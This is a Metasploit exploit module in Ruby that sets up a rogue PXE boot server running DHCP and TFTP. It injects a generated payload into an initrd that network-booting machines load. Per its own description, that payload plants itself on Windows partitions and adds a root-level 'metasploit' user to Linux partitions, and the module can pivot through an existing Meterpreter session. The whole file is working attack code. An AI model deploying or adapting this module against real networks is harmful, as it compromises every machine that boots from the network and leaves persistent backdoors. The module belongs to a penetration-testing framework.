PXE exploit server

[Gonzalez]

##
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::TFTPServer

    def initialize
        super(
            'Name'        => 'PXE exploit server',
            'Version'     => '$Revision: 13493 $',
            'Description'    => %q{
                This module provides a PXE server, running a DHCP and TFTP server.
                The default configuration loads a linux kernel and initrd into memory that
                reads the hard drive; placing the payload on the hard drive of any Windows
                partition seen, and add a uid 0 user with username and password metasploit to any
                linux partition seen.
            },
            'Author'      => [ 'scriptjunkie' ],
            'License'     => MSF_LICENSE,
            'Version'        => '$Revision: 13493 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 4500,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal',
                        {
                        }
                    ],
                ],
            'Privileged'     => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'DefaultTarget'  => 0
        )

        register_options(
            [
                OptInt.new('SESSION',   [ false,  'A session to pivot the attack through' ])
            ], self.class)

        register_advanced_options(
            [
                OptString.new('TFTPROOT',   [ false,  'The TFTP root directory to serve files from' ]),
                OptString.new('SRVHOST',   [ false,  'The IP of the DHCP server' ]),
                OptString.new('NETMASK',   [ false,  'The netmask of the local subnet', '255.255.255.0' ]),
                OptString.new('DHCPIPSTART',   [ false,  'The first IP to give out' ]),
                OptString.new('DHCPIPEND',   [ false,  'The last IP to give out' ])
            ], self.class)
    end

    def exploit
        if not datastore['TFTPROOT']
            datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
        end
        datastore['FILENAME'] = "update1"
        datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!

        # Prepare payload
        print_status("Creating initrd")
        initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
        uncompressed = Rex::Text.ungzip(initrd)
        payl = payload.generate
        uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
        initrd = Rex::Text.gzip(uncompressed)

        # Meterpreter attack
        if framework.sessions.include? datastore['SESSION']
            client = framework.sessions[datastore['SESSION']]
            if not client.lanattacks
                print_status("Loading lanattacks extension...")
                client.core.use("lanattacks")
            end

            print_status("Loading DHCP options...")
            client.lanattacks.load_dhcp_options(datastore)
            1.upto(4) do |i|
                print_status("Loading file #{i} of 4")
                if i < 4
                    contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
                else
                    contents = initrd
                end
                client.lanattacks.add_tftp_file("update#{i}",contents)
            end
            print_status("Starting TFTP server...")
            client.lanattacks.start_tftp
            print_status("Starting DHCP server...")
            client.lanattacks.start_dhcp
            print_status("pxesploit attack started")
            return
        end

        # normal attack
        print_status("Starting TFTP server...")
        @tftp = Rex::Proto::TFTP::Server.new
        @tftp.set_tftproot(datastore['TFTPROOT'])
        @tftp.register_file('update4',initrd)
        @tftp.start

        print_status("Starting DHCP server...")
        @dhcp = Rex::Proto::DHCP::Server.new( datastore )
        @dhcp.start
        print_status("pxesploit attack started")

        # Wait for finish..
        @tftp.thread.join
        @dhcp.thread.join
        print_status("pxesploit attack completed")
    end

end